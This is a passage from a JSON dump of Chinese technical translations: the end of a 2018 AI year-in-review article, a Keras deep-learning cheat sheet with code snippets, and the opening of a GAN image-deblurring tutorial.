的一个顶级职业玩家。星际争霸比国际象棋或围棋要复杂得多，它拥有巨大的行动空间和隐藏在玩家面前的关键信息，这与大多数棋盘游戏不同。这一胜利对整个领域来说是一个非常重大的飞跃。\n\nOpenAI，这个领域的另一个重要玩家，也没有闲着。他们因 OpenAI Five 而成名，在8月份，该系统在一款极其复杂的电子竞技游戏《dota2》中击败了99.95%的玩家。\n\n尽管OpenAI一直在关注电脑游戏，但他们并没有忽视 RL 真正的潜在应用：机器人。在现实世界中，人们给机器人的反馈很少，而且制作起来也很昂贵：你基本上需要一个人照看你的 R2D2，当它正试图迈出第一步。你需要数以百万计的数据点。为了弥补这一差距，最近的趋势是学习模拟环境，并在投入实际应用之前并行运行大量这些场景，以传授机器人基本的技能。[OpenAI](https://blog.openai.com/generalizing-from-simulation/) 和[谷歌](https://ai.googleblog.com/2018/06/scalable-deep-reinforcement-learning.html)都在研究这种方法。\n\n#### 荣誉奖：Deepfakes\n\nDeepfakes 是一种图片或视频，通常显示一个公众人物在做或在说他们从未做过或说过的事情。它们是通过在大量“目标”人物的镜头上训练 GAN 来创建的，然后生成新媒体，并在其中执行所需的操作。一款名为 FakeApp 的桌面应用程序于 2018 年 1 月发布，它允许任何一个拥有电脑却没有任何计算机科学知识的人制造 deepfakes。虽然由它制作的视频很容易被发现不是正品，但这项技术已经进步了很多。看看这个[视频](https://youtu.be/cQ54GDm1eL0)就知道了。\n\n谢谢你，奥巴马？\n\n### 基础结构\n\n#### TensorFlow vs PyTorch\n\n现在已经有很多深度学习框架。这个领域是广阔的，这种多样性在表层上是合理的。但在实践中，近来大多数人要么使用 Tensorflow，要么使用 PyTorch。如果您关心可靠性、部署的简易、模型的重新加载，以及 [SREs](https://en.m.wikipedia.org/wiki/Site_Reliability_Engineering) 通常关心的事情，那么您可能会选择 Tensorflow。如果你正在写一篇研究论文，但没有在谷歌工作 —— 你可能用过 PyTorch。\n\n#### ML作为一种服务无处不在\n\n今年我们看到了更多的人工智能解决方案，它们被打包成一个 API 供软件工程师使用，这些工程师不需要有斯坦福大学机器学习博士学位的朋友在身边。Google Cloud 和 Azure 都改进了旧的服务并添加了新服务。AWS 机器学习服务列表开始变得让人觉着可怕。\n\n![](https://cdn-images-1.medium.com/max/1600/0*NeMASS_FiI3NruBW)\n\n天哪，AWS很快就需要二级文件夹的层次结构来提供服务了。\n\n尽管这股热潮已经有所降温， 但是多家初创公司都向它（提供ML 服务）发出了挑战。每家公司都承诺模型训练的速度，推理过程中的易用性和惊人的模型性能。只需输入你的信用卡，上传你的数据集，给模型一些时间来训练或完善，调用一个 REST(或者，对于更有前瞻性的初创公司来说，则选择 GraphQL API，成为 AI 的大师，甚至不需要弄清楚什么是随机失活。\n\n有了这么多的选择，为什么还有人会费心自己构建模型和基础结构呢？实际上，似乎市面上的 MLaaS 产品可以很好地处理80%的用例。如果你想让剩下的20%也能正常工作 —— 那你就太不幸了：你不仅不能真正选择模型，甚至不能控制超参数。或者，如果您需要在云计算之外的某个地方进行推导 —— 这通常不能做到。这绝对是一种权衡。\n\n#### 荣誉奖：AutoML 和 AI Hub\n\n今年推出的两项特别有趣的服务都是由谷歌推出的。\n\n首先，[谷歌 Cloud AutoML](https://cloud.google.com/automl/) 是一套针对 NLP 和计算机视觉模型训练而定制的产品。这是什么意思呢? AutoML 设计器通过自动微调几个预先培训的模型并选择其中性能最好的模型来解决模型的定制问题。这意味着您很可能不需要自定义模型。当然，如果你想做一些真正新的或不同的事情，那么这个服务将不再适合你。但是，作为附带的好处，谷歌在大量专有数据的基础上对他们的模型进行了预先培训。想想所有这些[猫的照片](https://www.google.com/search?tbm=isch&q=kitten);这些比 Imagenet 生成的要好的多\n\n其次，[AI Hub](https://cloud.google.com/ai-hub/) 和 [TensorFlow Hub](https://www.tensorflow.org/hub)。在这两者之前，重用某个人的模型着实是一件苦差事。GitHub 上的随机代码很少工作，文档记录也很差，而且通常不太好处理。还有用于迁移学习的预先训练的权重......你根本都不会试图让他们能正常工作。这正是 TF Hub 要去解决的问题：它是一个可靠的、经过策划的模型存储库，您可以对其进行微调或构建。只需包含几行代码 —— TF Hub 客户端将从谷歌的服务器获取代码和相应的权重 —— 瞧，它可以工作了！AI Hub 则更进一步：它允许您共享整个 ML 信道，而不仅仅是模型！它一直在 alpha 中，它已经比那些文件（什么样的文件呢？ 那些最新的 file 是三年前修改的文件。）更加好了，如果您明白我的意思。\n\n### 硬件\n\n#### 英伟达\n\n如果你在2018年认真了解过 ML，特别是 DNNs，你用过了一个 GPU（或多个）。与此同时，GPU 的领导度过了非常忙碌的一年。在加密热潮降温和随后的股价暴跌之后，英伟达发布了一套基于图灵架构的新一代消费卡。在 2017 年发布了基于 Volta 芯片的专业卡，新卡包含了新的高速矩阵乘法硬件，我们称之为 Tensor Cores。矩阵乘法是 DNNs 的核心，加快这些运算将大大提高神经网络在新的 GPU 上的运行速度。\n\n针对那些对“小”和“慢”的游戏 GPU 不满意的人，英伟达更新了他们的企业级 GPU “超级计算机”。相较于480 TFLOPs的FP16操作来说，DGX-2 是 16 Tesla 系列的怪物。并且价格也被刷新，高达 40 万美元。\n\n自主式硬件也得到了更新。英伟达希望 Jetson AGX Xavier 主板将为下一代自动驾驶汽车助力。一个八核的 CPU，一个视觉加速器，以及深度学习加速器 —— 这是发展中的自动驾驶行业所需要的一切。\n\n在一项有趣的开发中，英伟达为其游戏卡增加了 DNN-based 的特性：深度学习超抽样。这个想法是为了取代抗锯齿处理，目前主要是通过呈现比所需分辨率(比如 4x )更高的图片，然后将其缩放到本机监视器的分辨率来实现的。现在，英伟达允许开发者在发布游戏之前，对运行在游戏上的图像转换模型进行高质量的运行。之后，游戏将使用预训练模型交付给最终用户。在游戏过程中，不需要花费老式的抗锯齿的代价，帧通过在模型上的运行来提高图像质量。\n\n#### 英特尔\n\n2018年，英特尔绝对不是 AI 硬件领域的开拓者。但他们似乎想要改变这一点。\n\n令人惊讶的是，英特尔的大多数活动都发生在软件领域。英特尔正在努力使他们现有的和即将推出的硬件对开发者更加友好。考虑到这一点，他们发布了两个(令人惊讶的，有竞争力的)工具包：[OpenVINO](http://www.openvino.org/) 和 [nGraph](https://www.intel.ai/ngraph-a-new-open-source-compiler-for-deep-learning-systems/#gs.zJSQNhZI)。\n\n他们更新了他们的 [Neural Compute Stick](https://newsroom.intel.com/news/intel-unils-intel-neur-comput-stick-2/)：一个小型  USB设备，可以加速DNNs 在任何 USB 端口上运行，甚至是在 Raspberry Pi 上。\n\n关于 Intel 离散型 GPU 阴谋的传闻也越来越多。流言蜚语愈演愈烈，但新设备在 DNNs 应用的适用性还有待观察。真正适用于深度学习的是传说中两张专业深度学习卡，代号为 Spring Hill 和 Spring Crest ，后者是基于多年前英特尔收购的创业公司 Nervana 的技术。\n\n#### 来自通常(和不寻常)的怀疑对象的自定义硬件\n\n谷歌发布了他们的第三代 [tpu](https://en.wikipedia.org/wiki/Tensor_processing_unit)：一个基于 asic 的 dnn 专用加速器，拥有惊人的 128Gb HMB 内存。256 个这样的设备被组装成一个性能超过 100 千万亿次的吊舱。今年，谷歌[让谷歌云上的公众可以使用 tpu](https://cloud.google.com/tpu/)，而不仅仅是用这些设备的强大来戏弄世界其他地方。\n\n与此类似，但主要是针对推理应用程序，Amazon 部署了 [AWS Inferentia](https://aws.amazon.com/machinlearning/inferentia/)：一种在生产环境中运行模型的更便宜、更有效的方法。\n\n![](https://cdn-images-1.medium.com/max/1600/0*nTqHAwzY8MINf5j-)\n\n谷歌还宣布 [Edge TPU](https://cloud.google.com/edge-tpu/)：上面讨论的大烂牌的小弟弟。这种芯片很小：一枚 1 美分硬币的表面可以容纳 10 枚。同时，它可以在实时视频上运行 DNNs，几乎不消耗任何能量。\n\n一个有趣的潜在新参与者是[Graphcore](https://www.graphcore.ai/)。这家英国公司已经筹集了令人印象深刻的3.1亿美元，并在2018年推出了他们的第一款产品—— GC2芯片。根据 [benchmark](https://cdn2.hubspot.net/hubfs/729091/NIPS2017/NIPS%2017%20-%20benchmarks%20final.pdf)，GC2 在进行推算时，会在消耗更少的功耗的情况下，清除顶级的 Nvidia 服务器 GPU 卡。\n\n#### 荣誉奖：AWS Deep Racer\n\n亚马逊推出了一款小型自动驾驶汽车[DeepRacer](https://aws.amazon.com/deeplens/)，并为此成立了一个赛车联盟。这款售价 400 美元的汽车配备了 Atom 处理器、 4MP 摄像头、wifi、多个 USB 端口以及足够运行数小时的电量。自动驾驶模型可以完全在云端使用 3d 仿真环境进行训练，然后直接部署到汽车上。如果你一直梦想着制造自己的自动驾驶汽车，这是你不用开一家由风投支持的公司就能实现这一梦想的机会。\n\n### 接下来是什么？\n\n#### 把注意力转移到决策智能上\n\n现在的组件 —— 算法、基础结构和硬件 —— 让 AI 比以往任何时候都要好用，企业正在意识到，应用人工智能的最大障碍在于[实用性](http://bit.ly/quaesita_fail)：如何将人工智能从一个想法应用到生产中运行的有效、安全、可靠的系统中去？应用人工智能，或称应用机器学习 (ML)，也被称为[决策智能](http://bit.ly/di_wiki)，是一门为现实问题创建人工智能解决方案的科学。虽然过去将大部分注意力放在算法背后的科学上，但未来可能会更多地关注该领域端到端的应用程序方面。\n\n#### 人工智能创造的就业机会似乎比它消灭的要多\n\n“人工智能将抢走我们所有的工作”是媒体的普遍说辞，也是蓝领和白领工人的共同担忧。从表面上看，这似乎是一个合理的预测。但到目前为止，事实似乎正好相反。例如，许多人[通过创建带标签的数据集而获得报酬](https://www.nytimes.com/2018/11/25/business/china-artificial-intelligence-labeling.html)。\n\n这些报酬超越了低收入国家通常的收入：有几个应用程序，比如 LevelApp，可以让生活困难的人民仅用手机给自己的数据贴上标签就能赚钱。Harmoni 更进一步：他们甚至向难民营里的移民提供设备，让他们可以贡献自己的力量，并以此谋生。\n\n在数据标签的基础上，新的人工智能技术正在创造整个行业。我们能够做的事情，在几年前甚至是不可想象的，像自动驾驶汽车或[药物发现](https://blog.benchsci.com/startups-using-artificial-intelligence-in-drug-discovery)。\n\n#### 更多与 ML 相关的计算将出现在边缘\n\n在面向数据的系统的工作方式中，通常在系统的边缘，即采集端，有更多的数据可用。信道的后期通常以向下采样或以其他方式降低信号的保真度。另一方面，随着越来越复杂的人工智能模型表现得越来越好，数据也越来越多。使人工智能组件更靠近数据的边缘不是更有意义吗？\n\n一个简单的例子：想象一个高分辨率的相机，它能以 30 fps 的速度产生高质量的视频。处理视频的计算机视觉模型，在服务器上运行。摄像机将视频传输到服务器，但上行带宽有限，因此视频被压缩和高度压缩。为什么不将视觉模型移动到摄像机并使用原始视频流呢？\n\n这方面总是存在许多障碍，主要是：边缘设备上可用的计算能力的数量和管理的复杂性(例如将更新的模型推到边缘)。随着专用硬件(如谷歌的 Edge TPU、苹果的神经引擎等)、更高效的模型和优化的软件的出现，计算的局限性正在被消除。通过改进 ML 框架和工具，可以不断地解决管理的复杂性。\n\n#### 人工智能基础设施领域的整合\n\n在此之前的几年里，人工智能基础设施领域充满了活动：盛大的公告、巨额融资以及崇高的承诺。2018年，太空竞赛似乎降温了，虽然仍有一些重要的新入口，但大部分贡献是由现有的大型参与者做出的。\n\n一种可能的解释是，我们对人工智能系统的理想基础结构的理解是[不够成熟](https://ai.google/research/pubs/pub43146)。因为问题很复杂。这需要长期的、持续的、专注的、资源充足的努力来产生一个可行的解决方案 —— 这是创业公司和小公司不擅长的。如果一家初创公司突然“解决”了人工智能的基础问题，那将是非常令人惊讶的。\n\n另一方面，ML 基础架构工程师非常少见。对于一家规模更大的公司来说，一家拥有数名员工、但处境艰难的初创公司显然是一个有价值的收购目标。几个玩家希望通过在构建内部和外部工具赢得游，他们都在构建内部和外部工具。例如，对于 AWS 和谷歌云，人工智能基础设施服务是一个主要的卖点。\n\n把它们放在一起，空间的主要整合就成为一个合理的预测。\n\n#### 更多定制的硬件\n\n[摩尔定律已经逝去](https://www.nextplatform.com/2019/02/05/the-era-of-general-purpose-computers-is-ending/)，至少对于 CPU 来说是这样，而且这种情况已经持续了很多年。GPU 很快也将遭遇类似的命运。当我们的模型变得更高效时，为了解决一些更高级的问题，我们需要获得更多的计算能力。这可以通过分布式训练来解决，但是它有自己的限制和权衡。\n\n此外，如果您想在资源受限的设备上运行一些更大的模型，分布式训练是没有帮助的。输入自定义 AI 加速器。根据您想要或可以进行的定制，您可以[保存一个量级](http://web.eecs.umich.edu/~shihclin/papers/AutonomousCar-ASPLOS18.pdf)的电力、成本或[延迟](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/10/Cloud-Scale-Acceleration-Architecture.pdf)。\n\n在某种程度上，甚至英伟达的 Tensor Cores 也是这种趋势的一个例子。在没有通用硬件的情况下，我们将看到更多这样的硬件。\n\n#### 减少对训练数据的依赖\n\n标记数据通常要么昂贵，要么难以访问，要么两条都有。这条规则几乎没有例外。开放的高质量数据集，如 MNIST、ImageNet、COCO、Netflix prize 和 IMDB eviews 是令人难以置信的创新的来源。但是许多问题没有相对应的数据集来处理。虽然对于研究人员来说，建立数据集并不是一个很好的职业发展方向，但能够赞助或发布数据集的大公司并不着急：他们正在建立庞大的数据集，并且把这些数据私密保存。\n\n那么，一个小型独立实体，比如创业公司或大学研究小组，是如找到复杂问题的解决方案的呢？通过构建越来越少地依赖监督信号、越来越多地依赖无标记和非结构化数据的系统 —— 得益于互联网和廉价传感器的普及，这些数据非常丰富。\n\n这在一定程度上解释了人们对 GANs、迁移学习和强化学习兴趣的激增：所有这些技术都需要较少(或不需要)的训练数据的投入。\n\n### 所以，这只是一个泡沫，对吧？\n\n那间黑屋子里有只猫吗？我想肯定有，不止一个，而是多个。虽然有些猫有四条腿，尾巴和胡须 —— 通常情况下 —— 有些是奇怪的动物，我们只是刚刚开始看到它们的基本轮廓。\n\n行业已经进入了 AI 大热的第七年。在那这段时间里，大量的研究工作、学术资助、风险投资、媒体关注和代码编写被投入到这个领域。但我们有理由指出，人工智能的承诺基本上仍未兑现。我们最后一次乘坐优步时，司机仍然是人类。在早晨仍然没有用机器人下蛋。我甚至不得不自己系鞋带，这到底在搞什么名堂！\n\n然而，无数研究生和软件工程师的努力并没有白费。似乎每一家大公司要么已经严重依赖人工智能，要么计划在未来这么做。[AI art sells](https://www.nytimes.com/2018/10/25/arts/design/ai-art-sold-christies.html)。如果自动驾驶汽车还没有出现，那它们也在不久后就会出现。\n\n现在，要是有人能理顺这些讨厌的鞋带就好了！等等，什么？[他们做到了](https://www.theverge.com/2019/2/4/18210711/puma-fi-self-lacing-shoes-nike-hyperadapt-bb)？\n\n* [点击这里](https://www.youtube.com/embed/nU-XDVyYqMs)观看完整视频\n\n**非常感谢 Malika Cantor、Maya Grossman、Tom White、Cassie Kozyrkov 和 Peter Norvig 阅读本文的初稿**\n\n**[_Max Grigorev_](https://www.linkedin.com/in/grigorev/) 在谷歌建立了 ML 系统，Airbnb 和多家创业公司。他希望建造更多。他也是一名 google 开发者。我的良师益友 [_Max Grigorev_](https://www.linkedin.com/in/grigorev/)。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/keras-cheat-sheet.md",
    "content": "> * 原文地址：[Keras Cheat Sheet: Neural Networks in Python](https://www.datacamp.com/community/blog/keras-cheat-sheet)\n> * 原文作者：[Karlijn Willems](https://www.datacamp.com/profile/karlijn)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/keras-cheat-sheet.md](https://github.com/xitu/gold-miner/blob/master/TODO1/keras-cheat-sheet.md)\n> * 译者：[Minghao23](https://github.com/Minghao23)\n> * 校对者：[Xuyuey](https://github.com/Xuyuey), [lsvih](https://github.com/lsvih)\n\n# Keras 速查表：使用 Python 构建神经网络\n\n> 使用 Keras 速查表构建你自己的神经网络，便于初学者在 Python 中进行深度学习，附有代码示例\n\n[Keras](http://keras.io/) 是一个基于 Theano 和 TensorFlow 的易于使用且功能强大的库，它提供了一些高层的神经网络接口，用于开发和评估深度学习模型。\n\n我们最近推出了第一个使用 Keras 2.0 开发的在线交互深度学习课程，叫做“[Deep Learning in Python](https://www.datacamp.com/courses/deep-learning-in-python/)”。\n\n现在，DataCamp 为那些已经上过这门课但仍然需要一页参考资料的人，或者那些需要一个额外的推动力才能开始学习的人，创建了 Keras 速查表。\n\n很快，这个速查表就会让你熟悉如何从这个库中加载数据集、如何预处理数据、如何构造一个模型结构以及如何编译、训练和评估它。由于在如何搭建自己的模型上有着相当大的自由度，你会看到这个速查表展示了一些简单的关键 Keras 代码示例，只有了解这些你才能开始用 Python 搭建自己的神经网络。\n\n此外，你还可以看到一些关于如何检查你的模型，如何保存和加载模型的示例。最后，你也会找到一些关于如何对测试数据做预测，以及如何通过调节优化参数和早停的方式来微调模型的示例。\n\n简而言之，你会看到这个速查表并不仅仅是向你展示了使用 Keras 库在 Python 中构建神经网络的六个步骤而已。\n\n[![keras cheat sheet](http://community.datacamp.com.s3.amazonaws.com/community/production/ckeditor_assets/pictures/516/content_button-cheatsheet-keras.png)](https://s3.amazonaws.com/assets.datacamp.com/blog_assets/Keras_Cheat_Sheet_Python.pdf)\n\n总之，这个速查表会加快你的 Python 深度学习旅程：有了这些代码示例的帮助，你很快就可以对你的深度学习模型进行预处理、创建、检验和调优！\n\n**（点击上图下载可打印的版本，或阅读下面的在线版本）**\n\n## Python 数据科学速查表：Keras\n\nKeras 是一个基于 Theano 和 TensorFlow 的易于使用且功能强大的库，它提供了一些高层的神经网络接口，用于开发和评估深度学习模型。\n\n### 一个基础例子\n\n```\n>>> import numpy as np\n>>> from keras.models import Sequential\n>>> from keras.layers import Dense\n>>> data = np.random.random((1000,100))\n>>> labels = np.random.randint(2,size=(1000,1))\n>>> model = Sequential()\n>>> model.add(Dense(32, activation='relu', input_dim=100))\n>>> model.add(Dense(1, activation='sigmoid'))\n>>> model.compile(optimizer='rmsprop', loss='binary_crossentropy', metrics=['accuracy'])\n>>> model.fit(data,labels,epochs=10,batch_size=32)\n>>> predictions = model.predict(data)\n```\n\n### 数据\n\n你的数据需要以 Numpy arrays 或者 Numpy arrays 列表的格式储存。理想情况下，数据会分为训练集和测试集，你可以借助 `sklearn.cross_validation` 下的 `train_test_split` 模块来实现。\n\n#### Keras 数据集\n\n```\n>>> from keras.datasets import boston_housing, mnist, cifar10, imdb\n>>> (x_train,y_train),(x_test,y_test) = mnist.load_data()\n>>> (x_train2,y_train2),(x_test2,y_test2) = boston_housing.load_data()\n>>> (x_train3,y_train3),(x_test3,y_test3) = cifar10.load_data()\n>>> (x_train4,y_train4),(x_test4,y_test4) = imdb.load_data(num_words=20000)\n>>> num_classes = 10\n```\n\n#### 其他\n\n```\n>>> from urllib.request import urlopen\n>>> data = np.loadtxt(urlopen(&quot;http://archive.ics.uci.edu/ml/machine-learning-databases/pima-indians-diabetes/pima-indians-diabetes.data&quot;),delimiter=&quot;,&quot;)\n>>> X = data[:,0:8]\n>>> y = data [:,8]\n```\n\n### 预处理\n\n#### 序列填充\n\n```\n>>> from keras.preprocessing import sequence\n>>> x_train4 = sequence.pad_sequences(x_train4,maxlen=80)\n>>> x_test4 = sequence.pad_sequences(x_test4,maxlen=80)\n```\n\n#### One-Hot 编码\n\n```\n>>> from keras.utils import to_categorical\n>>> Y_train = to_categorical(y_train, num_classes)\n>>> Y_test = to_categorical(y_test, num_classes)\n>>> Y_train3 = to_categorical(y_train3, num_classes)\n>>> Y_test3 = to_categorical(y_test3, num_classes)\n```\n\n#### 训练和测试集\n\n```\n>>> from sklearn.model_selection import train_test_split\n>>> X_train5, X_test5, y_train5, y_test5 = train_test_split(X, y, test_size=0.33, random_state=42)\n```\n\n### 标准化/归一化\n\n```\n>>> from sklearn.preprocessing import StandardScaler\n>>> scaler = StandardScaler().fit(x_train2)\n>>> standardized_X = scaler.transform(x_train2)\n>>> standardized_X_test = scaler.transform(x_test2)\n```\n\n### 模型结构\n\n#### 序贯模型\n\n```\n>>> from keras.models import Sequential\n>>> model = Sequential()\n>>> model2 = Sequential()\n>>> model3 = Sequential()\n```\n\n#### 多层感知机（MLP）\n\n**二分类**\n\n```\n>>> from keras.layers import Dense\n>>> model.add(Dense(12, input_dim=8, kernel_initializer='uniform', activation='relu'))\n>>> model.add(Dense(8, kernel_initializer='uniform', activation='relu'))\n>>> model.add(Dense(1, kernel_initializer='uniform', activation='sigmoid'))\n```\n\n**多分类**\n\n```\n>>> from keras.layers import Dropout\n>>> model.add(Dense(512,activation='relu',input_shape=(784,)))\n>>> model.add(Dropout(0.2))\n>>> model.add(Dense(512,activation='relu'))\n>>> model.add(Dropout(0.2))\n>>> model.add(Dense(10,activation='softmax'))\n```\n\n**回归**\n\n```\n>>> model.add(Dense(64, activation='relu', input_dim=train_data.shape[1]))\n>>> model.add(Dense(1))\n```\n\n#### 卷积神经网路（CNN）\n\n```\n>>> from keras.layers import Activation, Conv2D, MaxPooling2D, Flatten\n>>> model2.add(Conv2D(32, (3,3), padding='same', input_shape=x_train.shape[1:]))\n>>> model2.add(Activation('relu'))\n>>> model2.add(Conv2D(32, (3,3)))\n>>> model2.add(Activation('relu'))\n>>> model2.add(MaxPooling2D(pool_size=(2,2)))\n>>> model2.add(Dropout(0.25))\n>>> model2.add(Conv2D(64, (3,3), padding='same'))\n>>> model2.add(Activation('relu'))\n>>> model2.add(Conv2D(64, (3, 3)))\n>>> model2.add(Activation('relu'))\n>>> model2.add(MaxPooling2D(pool_size=(2,2)))\n>>> model2.add(Dropout(0.25))\n>>> model2.add(Flatten())\n>>> model2.add(Dense(512))\n>>> model2.add(Activation('relu'))\n>>> model2.add(Dropout(0.5))\n>>> model2.add(Dense(num_classes))\n>>> model2.add(Activation('softmax'))\n```\n\n#### 循环神经网络（RNN）\n\n```\n>>> from keras.klayers import Embedding,LSTM\n>>> model3.add(Embedding(20000,128))\n>>> model3.add(LSTM(128,dropout=0.2,recurrent_dropout=0.2))\n>>> model3.add(Dense(1,activation='sigmoid'))\n```\n\n### 检查模型\n\n模型输出的 shape\n\n```\n>>> model.output_shape\n```\n\n模型描述\n\n```\n>>> model.summary()\n```\n\n模型配置\n\n```\n>>> model.get_config()\n```\n\n列出模型中所有的权重张量\n\n```\n>>> model.get_weights()\n```\n\n### 编译模型\n\n#### 多层感知机（MLP）\n\n**多层感知机：二分类**\n\n```\n>>> model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\n```\n\n**多层感知机：多分类**\n\n```\n>>> model.compile(optimizer='rmsprop', loss='categorical_crossentropy', metrics=['accuracy'])\n```\n\n**多层感知机：回归**\n\n```\n>>> model.compile(optimizer='rmsprop', loss='mse', metrics=['mae'])\n```\n\n#### 循环神经网络（RNN）\n\n```\n>>> model3.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n```\n\n### 模型训练\n\n```\n>>> model3.fit(x_train4, y_train4, batch_size=32, epochs=15, verbose=1, validation_data=(x_test4, y_test4))\n```\n\n### 评估你的模型表现\n\n```\n>>> score = model3.evaluate(x_test, y_test, batch_size=32)\n```\n\n### 预测\n\n```\n>>> model3.predict(x_test4, batch_size=32)\n>>> model3.predict_classes(x_test4,batch_size=32)\n```\n\n### 保存/加载模型\n\n```\n>>> from keras.models import load_model\n>>> model3.save('model_file.h5')\n>>> my_model = load_model('my_model.h5')\n```\n\n### 模型微调\n\n#### 优化参数\n\n```\n>>> from keras.optimizers import RMSprop\n>>> opt = RMSprop(lr=0.0001, decay=1e-6)\n>>> model2.compile(loss='categorical_crossentropy', optimizer=opt, metrics=['accuracy'])\n```\n\n#### 早停\n\n```\n>>> from keras.callbacks import EarlyStopping\n>>> early_stopping_monitor = EarlyStopping(patience=2)\n>>> model3.fit(x_train4, y_train4, batch_size=32, epochs=15, validation_data=(x_test4, y_test4), callbacks=[early_stopping_monitor])\n```\n\n### 进一步探索\n\n从 [Keras 新手教程](https://www.datacamp.com/community/tutorials/deep-learning-python)开始，您将以一种简单、循序渐进的方式学习如何探索和预处理一个关于葡萄酒质量的数据集，为分类和回归任务构建多层感知机，编译、拟合和评估模型，并对所构建的模型进行微调。\n\n除此之外，不要错过我们的 [Scikit-Learn 速查表](https://www.datacamp.com/community/blog/scikit-learn-cheat-sheet/)，[NumPy 速查表](https://www.datacamp.com/community/blog/python-numpy-cheat-sheet/)和 [Pandas 速查表](https://www.datacamp.com/community/blog/python-pandas-cheat-sheet/)！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/keras-generative-adversarial-networks-image-deblurring.md",
    "content": "> * 原文地址：[GAN with Keras: Application to Image Deblurring](https://blog.sicara.com/keras-generative-adversarial-networks-image-deblurring-45e3ab6977b5)\n> * 原文作者：[Raphaël Meudec](https://blog.sicara.com/@raphaelmeudec?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/keras-generative-adversarial-networks-image-deblurring.md](https://github.com/xitu/gold-miner/blob/master/TODO1/keras-generative-adversarial-networks-image-deblurring.md)\n> * 译者：[luochen](https://github.com/luochen1992)\n> * 校对者：[SergeyChang](https://github.com/SergeyChang) [mingxing47](https://github.com/mingxing47)\n\n# GAN 的 Keras 实现：构建图像去模糊应用\n\n![](https://cdn-images-1.medium.com/max/2000/1*WFQmmhJM8HMD0D5Ax4vROw.jpeg)\n\n2014年，Ian Goodfellow 提出了**生成对抗网络（Generative Adversarial Networks）** (GAN)，本文将聚焦于利用 [**Keras**](https://keras.io/) 实现**基于对抗生成网络的图像去模糊模型**所有的 Keras 代码都在 [这里](https://github.com/RaphaelMeudec/deblur-gan).\n\n查看原文 [scientific publication](https://arxiv.org/pdf/1711.07064.pdf) 以及 [Pytorch 版本实现](https://github.com/KupynOrest/DeblurGAN/).\n\n* * *\n\n### 快速回顾生成对抗网络\n\n在生成对抗网络中，两个网络互相训练。生成模型通过**创造以假乱真的输入**误导判别模型。判别模型则**区分输入是真实的还是伪造的**。\n\n![](https://cdn-images-1.medium.com/max/800/1*N4oqJsGmH-KZg3Vqrm_uYw.jpeg)\n\nGAN 训练流程 — [Source](https://www.kdnuggets.com/2017/01/generative-adversarial-networks-hot-topic-machine-learning.html)\n\n训练有**3个主要步骤**：\n\n- 使用生成模型**创造基于噪声的假输入**。\n- 同时使用真实的和虚假的输入**训练判别模型**。\n- **训练整个模型:** 该模型是由生成模型后串接判别模型所构成的。\n\n请注意，在第三步中，判别模型的权重不再更新。\n\n串接两个模型网络的原因是不可能直接对生成模型输出进行反馈。**我们衡量（生成模型的输出）的唯一标准是判别模型是否接受生成的样本**。\n\n这里简要回顾了 GAN 的结构。如果你觉得不容易理解，你可以参考这个 [excellent introduction](https://towardsdatascience.com/gan-by-example-using-keras-on-tensorflow-backend-1a6d515a60d0).\n\n* * *\n\n### 数据集\n\nIan Goodfellow 首先应用 GAN 模型生成 MNIST 数据。在本教程中，我们使用**生成对抗网络进行图像去模糊**。因此，生成模型的输入不是噪声而是模糊的图像。\n\n数据集采用 **GOPRO 数据集**。您可以下载 [精简版](https://drive.google.com/file/d/1H0PIXvJH4c40pk7ou6nAwoxuR4Qh_Sa2/view?usp=sharing) (9GB) 或 [完整版](https://drive.google.com/file/d/1SlURvdQsokgsoyTosAaELc4zRjQz9T2U/view?usp=sharing) (35GB)。它包含**来自多个街景**的人为模糊图像。数据集在按场景分的子文件夹里。\n\n我们先将图片放在文件夹 A（模糊）和 B（清晰）中。这种 A 和 B 的结构与原论文 [pix2pix article](https://phillipi.github.io/pix2pix/) 一致。我写了一个 [自定义脚本](https://github.com/RaphaelMeudec/deblur-gan/blob/master/organize_gopro_dataset.py) 去执行这个任务，按照 README 使用它。\n\n* * *\n\n### 模型\n\n训练过程保持不变。首先，让我们看看神经网络结构！\n\n#### 